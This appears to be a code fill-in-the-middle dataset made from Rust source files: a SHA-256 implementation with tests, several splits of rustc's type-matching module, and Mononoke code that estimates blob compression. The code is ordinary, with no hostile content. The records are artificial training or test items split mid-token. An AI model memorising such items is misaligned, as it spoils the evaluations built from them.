d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } for t in range_step(48u, 64, 8) { sha2_round!(a, b, c, d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } self.h0 += a; self.h1 += b; self.h2 += c; self.h3 += d; self.h4 += e; self.h5 += f; self.h6 += g; self.h7 += h; } } static K32: [u32, ..64] = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]; // A structure that keeps track of the state of the Sha-256 operation and contains the logic // necessary to perform the final calculations. struct Engine256 { length_bits: u64, buffer: FixedBuffer64, state: Engine256State, finished: bool, } impl Engine256 { fn new(h: &[u32, ..8]) -> Engine256 { return Engine256 { length_bits: 0, buffer: FixedBuffer64::new(), state: Engine256State::new(h), finished: false } } fn reset(&mut self, h: &[u32, ..8]) { self.length_bits = 0; self.buffer.reset(); self.state.reset(h); self.finished = false; } fn input(&mut self, input: &[u8]) { assert!(!self.finished) // Assumes that input.len() can be converted to u64 without overflow self.length_bits = add_bytes_to_bits(self.length_bits, input.len() as u64); let self_state = &mut self.state; self.buffer.input(input, |input: &[u8]| { self_state.process_block(input) }); } fn finish(&mut self) { if self.finished { return; } let self_state = &mut self.state; self.buffer.standard_padding(8, |input: &[u8]| { self_state.process_block(input) }); write_u32_be(self.buffer.next(4), (self.length_bits >> 32) as u32 ); write_u32_be(self.buffer.next(4), self.length_bits as u32); self_state.process_block(self.buffer.full_buffer()); self.finished = true; } } /// The SHA-256 hash algorithm pub struct Sha256 { engine: Engine256 } impl Sha256 { /// Construct a new instance of a SHA-256 digest. pub fn new() -> Sha256 { Sha256 { engine: Engine256::new(&H256) } } } impl Digest for Sha256 { fn input(&mut self, d: &[u8]) { self.engine.input(d); } fn result(&mut self, out: &mut [u8]) { self.engine.finish(); write_u32_be(out.mut_slice(0, 4), self.engine.state.h0); write_u32_be(out.mut_slice(4, 8), self.engine.state.h1); write_u32_be(out.mut_slice(8, 12), self.engine.state.h2); write_u32_be(out.mut_slice(12, 16), self.engine.state.h3); write_u32_be(out.mut_slice(16, 20), self.engine.state.h4); write_u32_be(out.mut_slice(20, 24), self.engine.state.h5); write_u32_be(out.mut_slice(24, 28), self.engine.state.h6); write_u32_be(out.mut_slice(28, 32), self.engine.state.h7); } fn reset(&mut self) { self.engine.reset(&H256); } fn output_bits(&self) -> uint { 256 } } static H256: [u32, ..8] = [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ]; #[cfg(test)] mod tests { extern crate rand; use super::{Digest, Sha256, FixedBuffer}; use std::num::Bounded; use self::rand::isaac::IsaacRng; use self::rand::Rng; use serialize::hex::FromHex; // A normal addition - no overflow occurs #[test] fn test_add_bytes_to_bits_ok() { assert!(super::add_bytes_to_bits::<u64>(100, 10) == 180); } // A simple failure case - adding 1 to the max value #[test] #[should_fail] fn test_add_bytes_to_bits_overflow() { super::add_bytes_to_bits::<u64>(Bounded::max_value(), 1); } struct Test { input: String, output_str: String, } fn test_hash<D: Digest>(sh: &mut D, tests: &[Test]) { // Test that it works when accepting the message all at once for t in tests.iter() { sh.reset(); sh.input_str(t.input.as_slice()); let out_str = sh.result_str(); assert!(out_str == t.output_str); } // Test that it works when accepting the message in pieces for t in tests.iter() { sh.reset(); let len = t.input.len(); let mut left = len; while left > 0u { let take = (left + 1u) / 2u; sh.input_str(t.input .as_slice() .slice(len - left, take + len - left)); left = left - take; } let out_str = sh.result_str(); assert!(out_str == t.output_str); } } #[test] fn test_sha256() { // Examples from wikipedia let wikipedia_tests = vec!( Test { input: "".to_string(), output_str: "e3b0c44298fc1c149afb\ f4c8996fb92427ae41e4649b934ca495991b7852b855".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog".to_string(), output_str: "d7a8fbb307d7809469ca\ 9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog.".to_string(), output_str: "ef537f25c895bfa78252\ 6529a9b63d97aa631564d5d789c2b765448c8635fb6c".to_string() }); let tests = wikipedia_tests; let mut sh = box Sha256::new(); test_hash(sh, tests.as_slice()); } /// Feed 1,000,000 'a's into the digest with varying input sizes and check that the result is /// correct. fn test_digest_1million_random<D: Digest>(digest: &mut D, blocksize: uint, expected: &str) { let total_size = 1000000; let buffer = Vec::from_elem(blocksize * 2, 'a' as u8); let mut rng = IsaacRng::new_unseeded(); let mut count = 0; digest.reset(); while count < total_size { let next: uint = rng.gen_range(0, 2 * blocksize + 1); let remaining = total_size - count; let size = if next > remaining { remaining } else { next }; digest.input(buffer.slice_to(size)); count += size; } let result_str = digest.result_str(); let result_bytes = digest.result_bytes(); assert_eq!(expected, result_str.as_slice()); let expected_vec: Vec<u8> = expected.from_hex() .unwrap() .move_iter() .collect(); assert_eq!(expected_vec, result_bytes); } #[test] fn test_1million_random_sha256() { let mut sh = Sha256::new(); test_digest_1million_random( &mut sh, 64, "cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0"); } } #[cfg(test)] mod bench { extern crate test; use self::test::Bencher; use super::{Sha256, FixedBuffer, Digest}; #[bench] pub fn sha256_10(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..10]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_1k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..1024]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_64k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..65536]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } }
remaining
identifier_name
ty_match.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use middle::ty::{self, Ty}; use middle::ty_relate::{self, Relate, TypeRelation, RelateResult}; use util::ppaux::Repr; /// A type "A" *matches* "B" if the fresh types in B could be /// substituted with values so as to make it equal to A. Matching is /// intended to be used only on freshened types, and it basically /// indicates if the non-freshened versions of A and B could have been /// unified. /// /// It is only an approximation. If it yields false, unification would /// definitely fail, but a true result doesn't mean unification would /// succeed. This is because we don't track the "side-constraints" on /// type variables, nor do we track if the same freshened type appears /// more than once. To some extent these approximations could be /// fixed, given effort. /// /// Like subtyping, matching is really a binary relation, so the only /// important thing about the result is Ok/Err. Also, matching never /// affects any type variables or unification state. pub struct Match<'a, 'tcx: 'a> { tcx: &'a ty::ctxt<'tcx> } impl<'a, 'tcx> Match<'a, 'tcx> { pub fn new(tcx: &'a ty::ctxt<'tcx>) -> Match<'a, 'tcx> { Match { tcx: tcx } } } impl<'a, 'tcx> TypeRelation<'a, 'tcx> for Match<'a, 'tcx> { fn tag(&self) -> &'static str { "Match" } fn tcx(&self) -> &'a ty::ctxt<'tcx> { self.tcx } fn a_is_expected(&self) -> bool { true } // irrelevant fn relate_with_variance<T:Relate<'a,'tcx>>(&mut self, _: ty::Variance, a: &T, b: &T) -> RelateResult<'tcx, T> { self.relate(a, b) } fn
(&mut self, a: ty::Region, b: ty::Region) -> RelateResult<'tcx, ty::Region> { debug!("{}.regions({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); Ok(a) } fn tys(&mut self, a: Ty<'tcx>, b: Ty<'tcx>) -> RelateResult<'tcx, Ty<'tcx>> { debug!("{}.tys({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); if a == b { return Ok(a); } match (&a.sty, &b.sty) { (_, &ty::ty_infer(ty::FreshTy(_))) | (_, &ty::ty_infer(ty::FreshIntTy(_))) | (_, &ty::ty_infer(ty::FreshFloatTy(_))) => { Ok(a) } (&ty::ty_infer(_), _) | (_, &ty::ty_infer(_)) => { Err(ty::terr_sorts(ty_relate::expected_found(self, &a, &b))) } (&ty::ty_err, _) | (_, &ty::ty_err) => { Ok(self.tcx().types.err) } _ => { ty_relate::super_relate_tys(self, a, b) } } } fn binders<T>(&mut self, a: &ty::Binder<T>, b: &ty::Binder<T>) -> RelateResult<'tcx, ty::Binder<T>> where T: Relate<'a,'tcx> { Ok(ty::Binder(try!(self.relate(a.skip_binder(), b.skip_binder())))) } }
regions
identifier_name
ty_match.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use middle::ty::{self, Ty}; use middle::ty_relate::{self, Relate, TypeRelation, RelateResult}; use util::ppaux::Repr;
/// A type "A" *matches* "B" if the fresh types in B could be /// substituted with values so as to make it equal to A. Matching is /// intended to be used only on freshened types, and it basically /// indicates if the non-freshened versions of A and B could have been /// unified. /// /// It is only an approximation. If it yields false, unification would /// definitely fail, but a true result doesn't mean unification would /// succeed. This is because we don't track the "side-constraints" on /// type variables, nor do we track if the same freshened type appears /// more than once. To some extent these approximations could be /// fixed, given effort. /// /// Like subtyping, matching is really a binary relation, so the only /// important thing about the result is Ok/Err. Also, matching never /// affects any type variables or unification state. pub struct Match<'a, 'tcx: 'a> { tcx: &'a ty::ctxt<'tcx> } impl<'a, 'tcx> Match<'a, 'tcx> { pub fn new(tcx: &'a ty::ctxt<'tcx>) -> Match<'a, 'tcx> { Match { tcx: tcx } } } impl<'a, 'tcx> TypeRelation<'a, 'tcx> for Match<'a, 'tcx> { fn tag(&self) -> &'static str { "Match" } fn tcx(&self) -> &'a ty::ctxt<'tcx> { self.tcx } fn a_is_expected(&self) -> bool { true } // irrelevant fn relate_with_variance<T:Relate<'a,'tcx>>(&mut self, _: ty::Variance, a: &T, b: &T) -> RelateResult<'tcx, T> { self.relate(a, b) } fn regions(&mut self, a: ty::Region, b: ty::Region) -> RelateResult<'tcx, ty::Region> { debug!("{}.regions({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); Ok(a) } fn tys(&mut self, a: Ty<'tcx>, b: Ty<'tcx>) -> RelateResult<'tcx, Ty<'tcx>> { debug!("{}.tys({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); if a == b { return Ok(a); } match (&a.sty, &b.sty) { (_, &ty::ty_infer(ty::FreshTy(_))) | (_, &ty::ty_infer(ty::FreshIntTy(_))) | (_, &ty::ty_infer(ty::FreshFloatTy(_))) => { Ok(a) } (&ty::ty_infer(_), _) | (_, &ty::ty_infer(_)) => { Err(ty::terr_sorts(ty_relate::expected_found(self, &a, &b))) } (&ty::ty_err, _) | (_, &ty::ty_err) => { Ok(self.tcx().types.err) } _ => { ty_relate::super_relate_tys(self, a, b) } } } fn binders<T>(&mut self, a: &ty::Binder<T>, b: &ty::Binder<T>) -> RelateResult<'tcx, ty::Binder<T>> where T: Relate<'a,'tcx> { Ok(ty::Binder(try!(self.relate(a.skip_binder(), b.skip_binder())))) } }
random_line_split
ty_match.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use middle::ty::{self, Ty}; use middle::ty_relate::{self, Relate, TypeRelation, RelateResult}; use util::ppaux::Repr; /// A type "A" *matches* "B" if the fresh types in B could be /// substituted with values so as to make it equal to A. Matching is /// intended to be used only on freshened types, and it basically /// indicates if the non-freshened versions of A and B could have been /// unified. /// /// It is only an approximation. If it yields false, unification would /// definitely fail, but a true result doesn't mean unification would /// succeed. This is because we don't track the "side-constraints" on /// type variables, nor do we track if the same freshened type appears /// more than once. To some extent these approximations could be /// fixed, given effort. /// /// Like subtyping, matching is really a binary relation, so the only /// important thing about the result is Ok/Err. Also, matching never /// affects any type variables or unification state. pub struct Match<'a, 'tcx: 'a> { tcx: &'a ty::ctxt<'tcx> } impl<'a, 'tcx> Match<'a, 'tcx> { pub fn new(tcx: &'a ty::ctxt<'tcx>) -> Match<'a, 'tcx> { Match { tcx: tcx } } } impl<'a, 'tcx> TypeRelation<'a, 'tcx> for Match<'a, 'tcx> { fn tag(&self) -> &'static str { "Match" } fn tcx(&self) -> &'a ty::ctxt<'tcx> { self.tcx } fn a_is_expected(&self) -> bool { true } // irrelevant fn relate_with_variance<T:Relate<'a,'tcx>>(&mut self, _: ty::Variance, a: &T, b: &T) -> RelateResult<'tcx, T> { self.relate(a, b) } fn regions(&mut self, a: ty::Region, b: ty::Region) -> RelateResult<'tcx, ty::Region> { debug!("{}.regions({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); Ok(a) } fn tys(&mut self, a: Ty<'tcx>, b: Ty<'tcx>) -> RelateResult<'tcx, Ty<'tcx>> { debug!("{}.tys({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); if a == b { return Ok(a); } match (&a.sty, &b.sty) { (_, &ty::ty_infer(ty::FreshTy(_))) | (_, &ty::ty_infer(ty::FreshIntTy(_))) | (_, &ty::ty_infer(ty::FreshFloatTy(_))) => { Ok(a) } (&ty::ty_infer(_), _) | (_, &ty::ty_infer(_)) =>
(&ty::ty_err, _) | (_, &ty::ty_err) => { Ok(self.tcx().types.err) } _ => { ty_relate::super_relate_tys(self, a, b) } } } fn binders<T>(&mut self, a: &ty::Binder<T>, b: &ty::Binder<T>) -> RelateResult<'tcx, ty::Binder<T>> where T: Relate<'a,'tcx> { Ok(ty::Binder(try!(self.relate(a.skip_binder(), b.skip_binder())))) } }
{ Err(ty::terr_sorts(ty_relate::expected_found(self, &a, &b))) }
conditional_block
ty_match.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use middle::ty::{self, Ty}; use middle::ty_relate::{self, Relate, TypeRelation, RelateResult}; use util::ppaux::Repr; /// A type "A" *matches* "B" if the fresh types in B could be /// substituted with values so as to make it equal to A. Matching is /// intended to be used only on freshened types, and it basically /// indicates if the non-freshened versions of A and B could have been /// unified. /// /// It is only an approximation. If it yields false, unification would /// definitely fail, but a true result doesn't mean unification would /// succeed. This is because we don't track the "side-constraints" on /// type variables, nor do we track if the same freshened type appears /// more than once. To some extent these approximations could be /// fixed, given effort. /// /// Like subtyping, matching is really a binary relation, so the only /// important thing about the result is Ok/Err. Also, matching never /// affects any type variables or unification state. pub struct Match<'a, 'tcx: 'a> { tcx: &'a ty::ctxt<'tcx> } impl<'a, 'tcx> Match<'a, 'tcx> { pub fn new(tcx: &'a ty::ctxt<'tcx>) -> Match<'a, 'tcx> { Match { tcx: tcx } } } impl<'a, 'tcx> TypeRelation<'a, 'tcx> for Match<'a, 'tcx> { fn tag(&self) -> &'static str
fn tcx(&self) -> &'a ty::ctxt<'tcx> { self.tcx } fn a_is_expected(&self) -> bool { true } // irrelevant fn relate_with_variance<T:Relate<'a,'tcx>>(&mut self, _: ty::Variance, a: &T, b: &T) -> RelateResult<'tcx, T> { self.relate(a, b) } fn regions(&mut self, a: ty::Region, b: ty::Region) -> RelateResult<'tcx, ty::Region> { debug!("{}.regions({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); Ok(a) } fn tys(&mut self, a: Ty<'tcx>, b: Ty<'tcx>) -> RelateResult<'tcx, Ty<'tcx>> { debug!("{}.tys({}, {})", self.tag(), a.repr(self.tcx()), b.repr(self.tcx())); if a == b { return Ok(a); } match (&a.sty, &b.sty) { (_, &ty::ty_infer(ty::FreshTy(_))) | (_, &ty::ty_infer(ty::FreshIntTy(_))) | (_, &ty::ty_infer(ty::FreshFloatTy(_))) => { Ok(a) } (&ty::ty_infer(_), _) | (_, &ty::ty_infer(_)) => { Err(ty::terr_sorts(ty_relate::expected_found(self, &a, &b))) } (&ty::ty_err, _) | (_, &ty::ty_err) => { Ok(self.tcx().types.err) } _ => { ty_relate::super_relate_tys(self, a, b) } } } fn binders<T>(&mut self, a: &ty::Binder<T>, b: &ty::Binder<T>) -> RelateResult<'tcx, ty::Binder<T>> where T: Relate<'a,'tcx> { Ok(ty::Binder(try!(self.relate(a.skip_binder(), b.skip_binder())))) } }
{ "Match" }
identifier_body
sizing.rs
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This software may be used and distributed according to the terms of the * GNU General Public License version 2. */ use crate::graph::{FileContentData, Node, NodeData, NodeType, WrappedPath}; use crate::progress::{ progress_stream, report_state, ProgressOptions, ProgressReporter, ProgressReporterUnprotected, ProgressStateCountByType, ProgressStateMutex, }; use crate::sampling::{ PathTrackingRoute, SamplingOptions, SamplingWalkVisitor, WalkKeyOptPath, WalkPayloadMtime, WalkSampleMapping, }; use crate::setup::{ parse_progress_args, parse_sampling_args, setup_common, JobParams, JobWalkParams, RepoSubcommandParams, COMPRESSION_BENEFIT, COMPRESSION_LEVEL_ARG, }; use crate::tail::walk_exact_tail; use crate::walk::{RepoWalkParams, RepoWalkTypeParams}; use anyhow::Error; use async_compression::{metered::MeteredWrite, Compressor, CompressorType}; use blobstore::BlobstoreGetData; use bytes::Bytes; use clap_old::ArgMatches; use cloned::cloned; use cmdlib::args::{self, MononokeMatches}; use context::CoreContext; use derive_more::{Add, Div, Mul, Sub}; use fbinit::FacebookInit; use futures::{ future::{self, try_join_all, FutureExt, TryFutureExt}, stream::{Stream, TryStreamExt}, }; use maplit::hashset; use mononoke_types::BlobstoreBytes; use samplingblob::SamplingHandler; use slog::{info, Logger}; use std::{ cmp::min, collections::{HashMap, HashSet}, fmt, io::{Cursor, Write}, sync::Arc, time::Duration, }; #[derive(Add, Div, Mul, Sub, Clone, Copy, Default, Debug)] struct SizingStats { raw: u64, compressed: u64, } impl SizingStats { fn compression_benefit_pct(&self) -> u64 { if self.raw == 0 { 0 } else { 100 * (self.raw - self.compressed) / self.raw } } } impl fmt::Display for SizingStats { fn fmt(&self, fmt: &mut fmt::Formatter) -> fmt::Result { write!( fmt, "{},{},{}%", self.raw, self.compressed, self.compression_benefit_pct() ) } } fn try_compress(raw_data: &Bytes, compressor_type: CompressorType) -> Result<SizingStats, Error> { let raw = raw_data.len() as u64; let compressed_buf = MeteredWrite::new(Cursor::new(Vec::with_capacity(4 * 1024))); let mut compressor = Compressor::new(compressed_buf, compressor_type); compressor.write_all(raw_data)?; let compressed_buf = compressor.try_finish().map_err(|(_encoder, e)| e)?; // Assume we wouldn't compress if its bigger let compressed = min(raw, compressed_buf.total_thru()); Ok(SizingStats { raw, compressed }) } // Force load of leaf data and check compression ratio fn size_sampling_stream<InStream, InStats>( scheduled_max: usize, s: InStream, compressor_type: CompressorType, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, ) -> impl Stream<Item = Result<(Node, Option<NodeData>, Option<SizingStats>), Error>> where InStream: Stream< Item = Result< ( WalkKeyOptPath<WrappedPath>, Option<NodeData>, Option<InStats>, ), Error, >, > + 'static + Send, InStats: 'static + Send, { s.map_ok(move |(walk_key, data_opt, _stats_opt)| { match (&walk_key.node, data_opt) { (Node::FileContent(_content_id), Some(NodeData::FileContent(fc))) if sampler.is_sampling(&walk_key.node) => { match fc { FileContentData::Consumed(_num_loaded_bytes) => { future::ok(_num_loaded_bytes).left_future() } // Consume the stream to make sure we loaded all blobs FileContentData::ContentStream(file_bytes_stream) => file_bytes_stream .try_fold(0, |acc, file_bytes| future::ok(acc + file_bytes.size())) .right_future(), } .and_then({ cloned!(sampler); move |fs_stream_size| { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample.data.values().try_fold( SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type) .map(|sizes| acc + sizes) }, ) }) .transpose(); future::ready(sizes.map(|sizes| { // Report the filestore stream's bytes size in the Consumed node ( walk_key.node, Some(NodeData::FileContent(FileContentData::Consumed( fs_stream_size, ))), sizes, ) })) } }) .left_future() } (_, data_opt) => { // Report the blobstore sizes in sizing stats, more accurate than stream sizes, as headers included let sizes = sampler .complete_step(&walk_key.node) .map(|sizing_sample| { sizing_sample .data .values() .try_fold(SizingStats::default(), |acc, v| { try_compress(v.as_bytes(), compressor_type).map(|sizes| acc + sizes) }) }) .transpose(); future::ready(sizes.map(|sizes| (walk_key.node, data_opt, sizes))).right_future() } } }) .try_buffer_unordered(scheduled_max) } impl ProgressStateCountByType<SizingStats, SizingStats> { pub fn report_progress_log(&mut self, delta_time: Option<Duration>) { let summary_by_type: HashMap<NodeType, SizingStats> = self .work_stats .stats_by_type .iter() .map(|(k, (_i, v))| (*k, *v)) .collect(); let new_summary = summary_by_type .values() .fold(SizingStats::default(), |acc, v| acc + *v); let delta_summary = new_summary - self.reporting_stats.last_summary; let def = SizingStats::default(); let detail = &self .params .types_sorted_by_name .iter() .map(|t| { let s = summary_by_type.get(t).unwrap_or(&def); format!("{}:{}", t, s) }) .collect::<Vec<_>>() .join(" "); let (delta_s, delta_summary_per_s) = delta_time.map_or((0, SizingStats::default()), |delta_time| { ( delta_time.as_secs(), delta_summary * 1000 / (delta_time.as_millis() as u64), ) }); let total_time = self .reporting_stats .last_update .duration_since(self.reporting_stats.start_time); let total_summary_per_s = if total_time.as_millis() > 0 { new_summary * 1000 / (total_time.as_millis() as u64) } else { SizingStats::default() }; info!( self.params.logger, "Raw/s,Compressed/s,Raw,Compressed,%Saving; Delta {:06}/s,{:06}/s,{},{}s; Run {:06}/s,{:06}/s,{},{}s; Type:Raw,Compressed,%Saving {}", delta_summary_per_s.raw, delta_summary_per_s.compressed, delta_summary, delta_s, total_summary_per_s.raw, total_summary_per_s.compressed, new_summary, total_time.as_secs(), detail, ); self.reporting_stats.last_summary_by_type = summary_by_type; self.reporting_stats.last_summary = new_summary; } } impl ProgressReporterUnprotected for ProgressStateCountByType<SizingStats, SizingStats> { fn report_progress(&mut self) { self.report_progress_log(None); } fn report_throttled(&mut self) { if let Some(delta_time) = self.should_log_throttled() { self.report_progress_log(Some(delta_time)); } } } #[derive(Debug)] pub struct SizingSample { pub data: HashMap<String, BlobstoreBytes>, } impl Default for SizingSample { fn default() -> Self { Self { data: HashMap::with_capacity(1), } } } impl SamplingHandler for WalkSampleMapping<Node, SizingSample> { fn sample_get( &self, ctx: &CoreContext, key: &str, value: Option<&BlobstoreGetData>, ) -> Result<(), Error> { ctx.sampling_key().map(|sampling_key| { self.inflight().get_mut(sampling_key).map(|mut guard| { value.map(|value| guard.data.insert(key.to_owned(), value.as_bytes().clone())) }) }); Ok(()) } } #[derive(Clone)] pub struct SizingCommand { compression_level: i32, progress_options: ProgressOptions, sampling_options: SamplingOptions, sampler: Arc<WalkSampleMapping<Node, SizingSample>>, } impl SizingCommand { fn apply_repo(&mut self, repo_params: &RepoWalkParams) { self.sampling_options .retain_or_default(&repo_params.include_node_types); } } pub async fn parse_args<'a>( fb: FacebookInit, logger: Logger, matches: &'a MononokeMatches<'a>, sub_m: &'a ArgMatches<'a>, ) -> Result<(JobParams, SizingCommand), Error> { let sampler = Arc::new(WalkSampleMapping::<Node, SizingSample>::new()); let job_params = setup_common( COMPRESSION_BENEFIT, fb, &logger, Some(sampler.clone()), None, matches, sub_m, ) .await?; let command = SizingCommand { compression_level: args::get_i32_opt(&sub_m, COMPRESSION_LEVEL_ARG).unwrap_or(3), progress_options: parse_progress_args(&sub_m), sampling_options: parse_sampling_args(&sub_m, 100)?, sampler, }; Ok((job_params, command)) } // Subcommand entry point for estimate of file compression benefit pub async fn compression_benefit( fb: FacebookInit, job_params: JobParams, command: SizingCommand, ) -> Result<(), Error> { let JobParams { walk_params, per_repo, } = job_params; let mut all_walks = Vec::new(); for (sub_params, repo_params) in per_repo { cloned!(mut command, walk_params); command.apply_repo(&repo_params); let walk = run_one(fb, walk_params, sub_params, repo_params, command); all_walks.push(walk); } try_join_all(all_walks).await.map(|_| ()) } async fn run_one( fb: FacebookInit, job_params: JobWalkParams, sub_params: RepoSubcommandParams, repo_params: RepoWalkParams, command: SizingCommand, ) -> Result<(), Error>
{ let sizing_progress_state = ProgressStateMutex::new(ProgressStateCountByType::<SizingStats, SizingStats>::new( fb, repo_params.logger.clone(), COMPRESSION_BENEFIT, repo_params.repo.name().clone(), command.sampling_options.node_types.clone(), command.progress_options, )); let make_sink = { cloned!(command, job_params.quiet, sub_params.progress_state,); move |ctx: &CoreContext, repo_params: &RepoWalkParams| { cloned!(ctx, repo_params.scheduled_max); async move |walk_output, _run_start, _chunk_num, _checkpoint_name| { cloned!(ctx, sizing_progress_state); // Sizing doesn't use mtime, so remove it from payload let walk_progress = progress_stream(quiet, &progress_state, walk_output).map_ok( |(key, payload, stats): (_, WalkPayloadMtime, _)| (key, payload.data, stats), ); let compressor = size_sampling_stream( scheduled_max, walk_progress, CompressorType::Zstd { level: command.compression_level, }, command.sampler, ); let report_sizing = progress_stream(quiet, &sizing_progress_state, compressor); report_state(ctx, report_sizing).await?; sizing_progress_state.report_progress(); progress_state.report_progress(); Ok(()) } } }; let walk_state = SamplingWalkVisitor::new( repo_params.include_node_types.clone(), repo_params.include_edge_types.clone(), command.sampling_options, None, command.sampler, job_params.enable_derive, sub_params .tail_params .chunking .as_ref() .map(|v| v.direction), ); let type_params = RepoWalkTypeParams { required_node_data_types: hashset![NodeType::FileContent], always_emit_edge_types: HashSet::new(), keep_edge_paths: true, }; walk_exact_tail::<_, _, _, _, _, PathTrackingRoute<WrappedPath>>( fb, job_params, repo_params, type_params, sub_params.tail_params, walk_state, make_sink, ) .await }
identifier_body
sizing.rs
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This software may be used and distributed according to the terms of the * GNU General Public License version 2. */ use crate::graph::{FileContentData, Node, NodeData, NodeType, WrappedPath}; use crate::progress::{ progress_stream, report_state, ProgressOptions, ProgressReporter, ProgressReporterUnprotected, ProgressStateCountByType, ProgressStateMutex, }; use crate::sampling::{ PathTrackingRoute, SamplingOptions, SamplingWalkVisitor, WalkKeyOptPath, WalkPayloadMtime, WalkSampleMapping, }; use crate::setup::{ parse_progress_args, parse_sampling_args, setup_common, JobParams, JobWalkParams, RepoSubcommandParams, COMPRESSION_BENEFIT, COMPRESSION_LEVEL_ARG, }; use crate::tail::walk_exact_tail; use crate::walk::{RepoWalkParams, RepoWalkTypeParams}; use anyhow::Error; use async_compression::{metered::MeteredWrite, Compressor, CompressorType}; use blobstore::BlobstoreGetData; use bytes::Bytes; use clap_old::ArgMatches; use cloned::cloned; use cmdlib::args::{self, MononokeMatches}; use context::CoreContext; use derive_more::{Add, Div, Mul, Sub}; use fbinit::FacebookInit; use futures::{ future::{self, try_join_all, FutureExt, TryFutureExt}, stream::{Stream, TryStreamExt}, }; use maplit::hashset; use mononoke_types::BlobstoreBytes; use samplingblob::SamplingHandler; use slog::{info, Logger}; use std::{ cmp::min, collections::{HashMap, HashSet}, fmt, io::{Cursor, Write}, sync::Arc, time::Duration, }; #[derive(Add, Div, Mul, Sub, Clone, Copy, Default, Debug)] struct SizingStats { raw: u64, compressed: u64, } impl SizingStats { fn compression_benefit_pct(&self) -> u64 { if 